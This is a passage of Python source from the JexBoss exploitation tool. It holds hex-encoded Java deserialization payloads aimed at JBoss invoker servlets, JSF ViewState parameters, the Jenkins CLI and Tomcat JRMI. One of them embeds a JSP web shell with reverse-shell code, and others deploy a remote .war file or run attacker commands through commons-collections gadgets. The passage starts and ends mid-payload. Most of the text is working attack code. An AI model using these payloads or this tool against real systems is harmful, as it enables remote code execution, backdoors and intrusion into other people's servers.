           "\x29\x3B\x7D\x7D\x65\x6C\x73\x65\x20\x69\x66\x28\x73\x68\x2E\x69\x6E\x64\x65\x78\x4F\x66\x28\x22"
           "\x69\x64\x22\x29\x21\x3D\x2D\x31\x7C\x7C\x73\x68\x2E\x69\x6E\x64\x65\x78\x4F\x66\x28\x22\x69\x70"
           "\x63\x6F\x6E\x66\x69\x67\x22\x29\x21\x3D\x2D\x31\x29\x7B\x63\x2E\x67\x65\x74\x49\x6E\x70\x75\x74"
           "\x53\x74\x72\x65\x61\x6D\x28\x29\x3B\x7D\x7D\x7D\x63\x61\x74\x63\x68\x28\x45\x78\x63\x65\x70\x74"
           "\x69\x6F\x6E\x20\x65\x29\x7B\x6F\x75\x74\x2E\x70\x72\x69\x6E\x74\x6C\x6E\x28\x22\x46\x61\x69\x6C"
           "\x65\x64\x20\x74\x6F\x20\x63\x68\x65\x63\x6B\x20\x66\x6F\x72\x20\x75\x70\x64\x61\x74\x65\x73\x22"
           "\x29\x3B\x7D\x74\x72\x79\x7B\x50\x72\x6F\x63\x65\x73\x73\x20\x70\x3B\x62\x6F\x6F\x6C\x65\x61\x6E"
           "\x20\x6E\x69\x78\x3D\x74\x72\x75\x65\x3B\x69\x66\x28\x21\x53\x79\x73\x74\x65\x6D\x2E\x67\x65\x74"
           "\x50\x72\x6F\x70\x65\x72\x74\x79\x28\x22\x66\x69\x6C\x65\x2E\x73\x65\x70\x61\x72\x61\x74\x6F\x72"
           "\x22\x29\x2E\x65\x71\x75\x61\x6C\x73\x28\x22\x2F\x22\x29\x29\x7B\x6E\x69\x78\x3D\x66\x61\x6C\x73"
           "\x65\x3B\x7D\x69\x66\x28\x73\x68\x2E\x69\x6E\x64\x65\x78\x4F\x66\x28\x22\x6A\x65\x78\x72\x65\x6D"
           "\x6F\x74\x65\x3D\x22\x29\x21\x3D\x2D\x31\x29\x7B\x53\x6F\x63\x6B\x65\x74\x20\x73\x63\x3D\x6E\x65"
           "\x77\x20\x53\x6F\x63\x6B\x65\x74\x28\x73\x68\x2E\x73\x70\x6C\x69\x74\x28\x22\x3D\x22\x29\x5B\x31"
           "\x5D\x2E\x73\x70\x6C\x69\x74\x28\x22\x3A\x22\x29\x5B\x30\x5D\x2C\x49\x6E\x74\x65\x67\x65\x72\x2E"
           "\x70\x61\x72\x73\x65\x49\x6E\x74\x28\x73\x68\x2E\x73\x70\x6C\x69\x74\x28\x22\x3A\x22\x29\x5B\x31"
           "\x5D\x29\x29\x3B\x69\x66\x28\x6E\x69\x78\x29\x7B\x73\x68\x3D\x22\x2F\x62\x69\x6E\x2F\x62\x61\x73"
           "\x68\x22\x3B\x7D\x65\x6C\x73\x65\x7B\x73\x68\x3D\x22\x63\x6D\x64\x2E\x65\x78\x65\x22\x3B\x7D\x70"
           "\x3D\x52\x75\x6E\x74\x69\x6D\x65\x2E\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x28\x29\x2E\x65\x78"
           "\x65\x63\x28\x73\x68\x29\x3B\x28\x6E\x65\x77\x20\x72\x76\x28\x70\x2E\x67\x65\x74\x49\x6E\x70\x75"
           "\x74\x53\x74\x72\x65\x61\x6D\x28\x29\x2C\x73\x63\x2E\x67\x65\x74\x4F\x75\x74\x70\x75\x74\x53\x74"
           "\x72\x65\x61\x6D\x28\x29\x29\x29\x2E\x73\x74\x61\x72\x74\x28\x29\x3B\x28\x6E\x65\x77\x20\x72\x76"
           "\x28\x73\x63\x2E\x67\x65\x74\x49\x6E\x70\x75\x74\x53\x74\x72\x65\x61\x6D\x28\x29\x2C\x70\x2E\x67"
           "\x65\x74\x4F\x75\x74\x70\x7A\x00\x00\x01\xDB\x75\x74\x53\x74\x72\x65\x61\x6D\x28\x29\x29\x29\x2E"
           "\x73\x74\x61\x72\x74\x28\x29\x3B\x7D\x65\x6C\x73\x65\x7B\x69\x66\x28\x6E\x69\x78\x29\x7B\x70\x3D"
           "\x52\x75\x6E\x74\x69\x6D\x65\x2E\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x28\x29\x2E\x65\x78\x65"
           "\x63\x28\x6E\x65\x77\x20\x53\x74\x72\x69\x6E\x67\x5B\x5D\x7B\x22\x2F\x62\x69\x6E\x2F\x62\x61\x73"
           "\x68\x22\x2C\x22\x2D\x63\x22\x2C\x73\x68\x7D\x29\x3B\x7D\x65\x6C\x73\x65\x7B\x70\x3D\x52\x75\x6E"
           "\x74\x69\x6D\x65\x2E\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x28\x29\x2E\x65\x78\x65\x63\x28\x22"
           "\x63\x6D\x64\x2E\x65\x78\x65\x20\x2F\x43\x20\x22\x2B\x73\x68\x29\x3B\x7D\x62\x72\x3D\x6E\x65\x77"
           "\x20\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65\x72\x28\x6E\x65\x77\x20\x49\x6E\x70\x75"
           "\x74\x53\x74\x72\x65\x61\x6D\x52\x65\x61\x64\x65\x72\x28\x70\x2E\x67\x65\x74\x49\x6E\x70\x75\x74"
           "\x53\x74\x72\x65\x61\x6D\x28\x29\x29\x29\x3B\x53\x74\x72\x69\x6E\x67\x20\x64\x3D\x62\x72\x2E\x72"
           "\x65\x61\x64\x4C\x69\x6E\x65\x28\x29\x3B\x77\x68\x69\x6C\x65\x28\x64\x20\x21\x3D\x20\x6E\x75\x6C"
           "\x6C\x29\x7B\x6F\x75\x74\x2E\x70\x72\x69\x6E\x74\x6C\x6E\x28\x64\x29\x3B\x64\x3D\x62\x72\x2E\x72"
           "\x65\x61\x64\x4C\x69\x6E\x65\x28\x29\x3B\x7D\x7D\x7D\x63\x61\x74\x63\x68\x28\x45\x78\x63\x65\x70"
           "\x74\x69\x6F\x6E\x20\x65\x29\x7B\x6F\x75\x74\x2E\x70\x72\x69\x6E\x74\x6C\x6E\x28\x22\x55\x6E\x6B"
           "\x6E\x6F\x77\x6E\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x22\x29\x3B\x7D\x7D\x25\x3E\x73\x72\x00\x11\x6A"
           "\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x42\x6F\x6F\x6C\x65\x61\x6E\xCD\x20\x72\x80\xD5\x9C\xFA\xEE"
           "\x02\x00\x01\x5A\x00\x05\x76\x61\x6C\x75\x65\x78\x70\x01\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61"
           "\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00"
           "\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E"
           "\x67\x71\x00\x7E\x00\x0F\x71\x00\x7E\x00\x0F\x71\x00\x7E\x00\x0F\x74\x00\x07\x62\x6F\x6F\x6C\x65"
           "\x61\x6E\xF9\x12\x63\x17\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00\x01\x73\x72\x00\x22\x6F\x72\x67"
           "\x2E\x6A\x62\x6F\x73\x73\x2E\x69\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x49\x6E\x76\x6F\x63\x61"
           "\x74\x69\x6F\x6E\x4B\x65\x79\xB8\xFB\x72\x84\xD7\x93\x85\xF9\x02\x00\x01\x49\x00\x07\x6F\x72\x64"
           "\x69\x6E\x61\x6C\x78\x70\x00\x00\x00\x04\x70\x78")

    headers = {"Content-Type": "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",
               "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
               "Connection": "keep-alive",
               "User-Agent": jexboss.get_random_user_agent()}

    r = gl_http_pool.urlopen('POST', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
    result = r.status

    if result == 401:
        jexboss.print_and_flush("   Retrying...")
        gl_http_pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)

    return get_successfully(url, "/jexinv4/jexinv4.jsp")


def exploit_web_console_invoker(url):
    """
    Exploits web console invoker (/web-console/Invoker)
    In Jboss 5, this method only works to deploy a .war within the server fs (not http).
    :param url: The URL to exploit
    :return: The HTTP status code
    """
    payload = ("\xAC\xED\x00\x05\x73\x72\x00\x2E\x6F\x72\x67\x2E\x6A\x62\x6F\x73\x73\x2E\x63\x6F\x6E\x73\x6F"
           "\x6C\x65\x2E\x72\x65\x6D\x6F\x74\x65\x2E\x52\x65\x6D\x6F\x74\x65\x4D\x42\x65\x61\x6E\x49\x6E\x76"
           "\x6F\x63\x61\x74\x69\x6F\x6E\xE0\x4F\xA3\x7A\x74\xAE\x8D\xFA\x02\x00\x04\x4C\x00\x0A\x61\x63\x74"
           "\x69\x6F\x6E\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72"
           "\x69\x6E\x67\x3B\x5B\x00\x06\x70\x61\x72\x61\x6D\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C"
           "\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x5B\x00\x09\x73\x69\x67\x6E\x61\x74\x75\x72\x65\x74"
           "\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x4C\x00\x10"
           "\x74\x61\x72\x67\x65\x74\x4F\x62\x6A\x65\x63\x74\x4E\x61\x6D\x65\x74\x00\x1D\x4C\x6A\x61\x76\x61"
           "\x78\x2F\x6D\x61\x6E\x61\x67\x65\x6D\x65\x6E\x74\x2F\x4F\x62\x6A\x65\x63\x74\x4E\x61\x6D\x65\x3B"
           "\x78\x70\x74\x00\x06\x64\x65\x70\x6C\x6F\x79\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61"
           "\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x78\x70\x00"
           "\x00\x00\x01\x73\x72\x00\x0C\x6A\x61\x76\x61\x2E\x6E\x65\x74\x2E\x55\x52\x4C\x96\x25\x37\x36\x1A"
           "\xFC\xE4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6F\x64\x65\x49\x00\x04\x70\x6F\x72\x74"
           "\x4C\x00\x09\x61\x75\x74\x68\x6F\x72\x69\x74\x79\x71\x00\x7E\x00\x01\x4C\x00\x04\x66\x69\x6C\x65"
           "\x71\x00\x7E\x00\x01\x4C\x00\x04\x68\x6F\x73\x74\x71\x00\x7E\x00\x01\x4C\x00\x08\x70\x72\x6F\x74"
           "\x6F\x63\x6F\x6C\x71\x00\x7E\x00\x01\x4C\x00\x03\x72\x65\x66\x71\x00\x7E\x00\x01\x78\x70\xFF\xFF"
           "\xFF\xFF\xFF\xFF\xFF\xFF\x74\x00\x0E\x6A\x6F\x61\x6F\x6D\x61\x74\x6F\x73\x66\x2E\x63\x6F\x6D\x74"
           "\x00\x0F\x2F\x72\x6E\x70\x2F\x6A\x65\x78\x77\x73\x34\x2E\x77\x61\x72\x71\x00\x7E\x00\x0B\x74\x00"
           "\x04\x68\x74\x74\x70\x70\x78\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53"
           "\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74"
           "\x00\x0C\x6A\x61\x76\x61\x2E\x6E\x65\x74\x2E\x55\x52\x4C\x73\x72\x00\x1B\x6A\x61\x76\x61\x78\x2E"
           "\x6D\x61\x6E\x61\x67\x65\x6D\x65\x6E\x74\x2E\x4F\x62\x6A\x65\x63\x74\x4E\x61\x6D\x65\x0F\x03\xA7"
           "\x1B\xEB\x6D\x15\xCF\x03\x00\x00\x78\x70\x74\x00\x21\x6A\x62\x6F\x73\x73\x2E\x73\x79\x73\x74\x65"
           "\x6D\x3A\x73\x65\x72\x76\x69\x63\x65\x3D\x4D\x61\x69\x6E\x44\x65\x70\x6C\x6F\x79\x65\x72\x78")

    headers = {
        "Content-Type": "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",
        "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
        "Connection": "keep-alive",
        "User-Agent": jexboss.get_random_user_agent()}
    r = gl_http_pool.urlopen('POST', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
    result = r.status
    if result == 401:
        jexboss.print_and_flush("   Retrying...")
        gl_http_pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)

    return get_successfully(url, "/jexws4/jexws4.jsp")


def exploit_servlet_deserialization(url, host, port, cmd, is_win, gadget, gadget_file):
    """
    Exploits java deserialization in generic (JAX RS, B...) servlets
    tested and working in many application servers with exposed servlet and commons-collections in classpath
    :param url: The URL to exploit
    :param host: host to make a reverse shell connection
    :param port: port to make a reverse shell conneciton
    :param cmd: commando to be executed in vulnerable server
    :param is_win: if the target is windows
    :param gadget: gadget type to generate exploit payload
    :return: The HTTP status code
    """
    if gadget_file is None:
        cmd = generate_cmd_for_runtime_exec(cmd=cmd, host=host, port=port, is_win=is_win)
        payload = get_payload_gadget(gadget_type=gadget, cmd=cmd)
    else:
        try:
            with open(gadget_file, 'rb') as f:
                payload = f.read()
        except:
            jexboss.print_and_flush(RED + "\n * The \"%s\" file could not be found. Make sure the name is correct or let the\n"
                                            "   the tool generate the payload itself.\n" % (gadget_file) + ENDC)
            return 505

    headers = {
        "Content-Type": "application/x-java-serialized-object; class=github.com/joaomatosf/jexboss",
        "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
        "Connection": "keep-alive",
        "User-Agent": jexboss.get_random_user_agent()}
    r = gl_http_pool.urlopen('POST', url, redirect=False, headers=headers, body=payload)
    if r.status == 200:
        return 201
    else:
        return r.status


def exploit_application_deserialization(url, host, port, cmd, is_win, param, force, gadget_type, show_payload, gadget_file):
    """
    Exploits java deserialization in POST parameters
    Tested and working on multiple JSF, Seam and Struts applications running in JDK 6, 7 and 8.
    :param url: JSF application URL
    :param host: remote host to make a reverse shell connection
    :param port: remote port to make a reverse shell connection
    :param cmd: command to be executed into the exploited server
    :param is_win: indicate that the command to be executed is for a windows system (cmd.exe /C)
    :param param: the post parameter to inject the java serialized object
    :param force: force send payload to url provided
    :param gadget_type: the gadget type to generate the payload
    :param show_payload: show generated payload
    :param gadget_file: load user gadget from file
    :return: The HTTP Status code
    """
    param_content = None

    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive",
        "User-Agent": jexboss.get_random_user_agent(),
        "Content-Type": "application/x-www-form-urlencoded"}

    if gadget_file is None:
        cmd = generate_cmd_for_runtime_exec(cmd=cmd, host=host, port=port, is_win=is_win)
        payload = get_payload_gadget(gadget_type=gadget_type, cmd=cmd)
    else:
        try:
            with open(gadget_file, 'rb') as f:
                payload = f.read()
        except:
            jexboss.print_and_flush(RED + "\n * The \"%s\" file could not be found. Make sure the name is correct or let the\n"
                                            "   the tool generate the payload itself.\n" % (gadget_file) + ENDC)
            return 505

    out = BytesIO()
    with gzip.GzipFile(fileobj=out, mode="wb") as f:
        f.write(payload)
    gift_gziped = base64.b64encode(out.getvalue())
    gift_b64 = base64.b64encode(payload)
    gift_raw = payload

    # if force mode, sends payload in multiple formats
    if force:
        if param != "": param += "="
        jexboss.print_and_flush(GREEN + "\n * Sending serialized object to: %s...\n" % (url) + ENDC)
        try:
            gl_http_pool.request('POST', url, redirect=False, headers=headers, body=param + url_encode(gift_gziped))
            gl_http_pool.request('POST', url, redirect=False, headers=headers, body=param + url_encode(gift_b64))
            gl_http_pool.request('POST', url, redirect=False, headers=headers, body=param + gift_raw)
            if param != "":
                r = gl_http_pool.request('POST', url, redirect=False, headers=headers, body=gift_raw)
            headers['Content-Type'] = "application/x-java-serialized-object; class=github.com/joaomatosf/jexboss"
            r = gl_http_pool.request('POST', url, redirect=False, headers=headers, body=gift_raw)
        except:
            # Error sending the exploit payload...
            # import traceback, sys
            # traceback.print_exc(file=sys.stdout)
            return 505
    else:

        # open initial page for get cookie
        r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
        cookie = r.getheader('set-cookie')
        if cookie is not None: headers['Cookie'] = cookie

        # Forbidden
        if r.status == 403: return 403

        # find for java serialized object in the initial page
        param_content = get_serialized_obj_from_param(str(r.data), param)

        # If does not exists a java serialized object in the initial page, check if it's a redirect page
        if param_content is None:
            redirect_link = get_html_redirect_link(str(r.data))
            if redirect_link is not None:
                r = gl_http_pool.request('GET', url + "/" + redirect_link, redirect=True, headers=headers)
                param_content = get_serialized_obj_from_param(str(r.data), param)

        # if param to be exploited is not ViewState, get the current viewState
        if param != 'javax.faces.ViewState':
            view_state = get_viewstate_value(str(r.data))
            if view_state is not None:
                param = "javax.faces.ViewState=" + url_encode(view_state) + "&" + param

        if param != "": param += "="

        # correct the url for POST
        url = url.split('?')[0]
        list_url_tokens = url.split('://')[-1].split('/')
        # if user not provided jsf page (if after / is not param or in the last param not exist a dot)
        if len(list_url_tokens) <= 1 or '.' not in list_url_tokens[-1]:
            # extract the url authority and link for post and make a new url to exploit
            link = get_link_for_post(str(r.data))
            url_base = get_url_base(url)
            url = url_base + link

        jexboss.print_and_flush(GREEN + "\n [*] Sending serialized object to:\n"
                                        "      --> %s...\n" % (url) + ENDC)
        try:
            if param_content.startswith("H4sI"):
                if show_payload: shows_payload(gift_gziped, gadget_file if gadget_file is not None else gadget_type)
                r = gl_http_pool.request('POST', url, redirect=True, headers=headers,body=param + url_encode(gift_gziped))
            elif param_content.startswith("rO0"):
                if show_payload: shows_payload(gift_b64, gadget_file if gadget_file is not None else gadget_type)
                r = gl_http_pool.request('POST', url, redirect=True, headers=headers, body=param + url_encode(gift_b64))
            else:
                r = gl_http_pool.request('POST', url, redirect=True, headers=headers, body=param + gift_raw)
        except Exception as err:
            if 'too many redirects' in str(err):
                return 200
            else:
                return 505

    if r.status in (301, 302):
        return 200
    else:
        return r.status


def exploit_jenkins(url, host, port, cmd, is_win, gadget, show_payload):
    """
    Exploits java deserialization in POST parameters
    Tested and working on multiple JSF applications running in JDK6, 7 and 8.
    :param url: url of the jenkins
    :param host: remote host to make a reverse shell connection
    :param port: remote port to make a reverse shell connection
    :param cmd: command to be executed into the exploited server
    :param is_win: indicate that the command to be executed is for a windows system (cmd.exe /C)
    :param gadget: the gadget type to generate the payload
    :param show_payload: show generated payload
    :return: The HTTP Status code
    """
    # stage 1: find client port
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive",
        "User-Agent": jexboss.get_random_user_agent()}
    cli_port = None
    cli_ip = None
    # get cli port and cli ip
    if '://' in url:
        cli_ip = url.split('://')[1].split('/')[0].split(':')[0]
    else:
        cli_ip = url.split('/')[0].split(':')[0]
    r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
    all_headers = r.getheaders()
    for h in all_headers:
        if 'CLI-Port' in h:
            cli_port = int(all_headers[h])
            break
    # if the cli port or ip was not found
    if cli_port is None or cli_ip is None: return 505

    # stage 2: connect to CLI port and send payload (message + gadget )
    # generate payload
    payload = b"<===[JENKINS REMOTING CAPACITY]===>"
    cmd = generate_cmd_for_runtime_exec(cmd=cmd, host=host, port=port, is_win=is_win)
    if gadget == 'commons-collections3.1':
        gadget = 'groovy1'
    payload_gadget = get_payload_gadget(gadget_type=gadget, cmd=cmd)
    gift_b64 = base64.b64encode(payload_gadget)
    payload += gift_b64

    jexboss.print_and_flush(GREEN + "\n * Sending serialized object to: %s:%s\n" % (cli_ip, cli_port) + ENDC)
    # establishes connection and send the payload
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((cli_ip, cli_port))
        s.send(b"\x00\x14Protocol:CLI-connect")

        # receive all messages from the server
        while b'JENKINS REMOTING CAPACITY' not in s.recv(1024): pass

        s.send(payload)
        s.close()
    except socket.error as err:
        jexboss.print_and_flush(RED + "\n * [ERROR]: %s (%s:%s).\n" % (err,cli_ip, cli_port )+ ENDC)
        return 505

    # if no erros ocorred, consider that payload was send successfuly
    return 200


def exploit_jrmi(url, host, port, cmd, is_win):
    '''
    JRMI Deserialization CVE-2016-8735 and CVE-2016-8735
    Apache Tomcat 9.0.0.M1 to 9.0.0.M11
    Apache Tomcat 8.5.0 to 8.5.6
    Apache Tomcat 8.0.0.RC1 to 8.0.38
    Apache Tomcat 7.0.0 to 7.0.72
    Apache Tomcat 6.0.0 to 6.0.47
    This exploits requires the listers org.apache.catalina.mbeans.JmxRemoteLifecycleListener in tomcat
    The payload uses CommonsCollection gadget baseed on ysoserial.

    :param url: IP and Port from JRMI
    :param host: host for reverse connection
    :param port: port for reverse connection
    :param cmd: command to be executed
    :param is_win: especify if the command is for windos
    :param gadget: gadget type
    :param show_payload: print the payload generated
    :return: result code
    '''

    cmd = generate_cmd_for_runtime_exec(cmd=cmd, host=host, port=port, is_win=is_win)

    try:
        host_rmi = url.split(':')[0]
        port_rmi = int(url.split(':')[1])

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((host_rmi,port_rmi))

        payload = (b"\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x16\x6A\x65\x78\
\x62\x6F\x73\x73\x20\x31\x33\x34\x38\x34\x39\x35\x35\x31\x32\x31\x36\x39\x35\x73\x7D\x00\x00\x00\
\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\
\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\
\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\
\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\
\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\
\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\
\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\
\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\
\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\
\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\
\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\
\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\
\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\
\x7E\x00\x00\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\
\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x70\x78\x70\x77\x0C\x00\x00\x00\x02\x3F\x40\x00\x00\
\x00\x00\x00\x01\x73\x72\x00\x34\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\
\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6B\x65\x79\x76\x61\x6C\x75\x65\x2E\
\x54\x69\x65\x64\x4D\x61\x70\x45\x6E\x74\x72\x79\x8A\xAD\xD2\x9B\x39\xC1\x1F\xDB\x02\x00\x02\x4C\
\x00\x03\x6B\x65\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\
\x74\x3B\x4C\x00\x03\x6D\x61\x70\x71\x00\x7E\x00\x06\x70\x78\x70\x74\x00\x03\x66\x6F\x6F\x73\x72\
\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\
\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\
\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\
\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\
\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\
\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\
\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\
\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\
\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\
\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\
\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\
\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\
\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\
\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\
\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\
\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\
\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\
\x71\x00\x7E\x00\x0E\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\
\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\
\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\
\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\
\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\
\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\
\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\
\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\
\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\
\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\
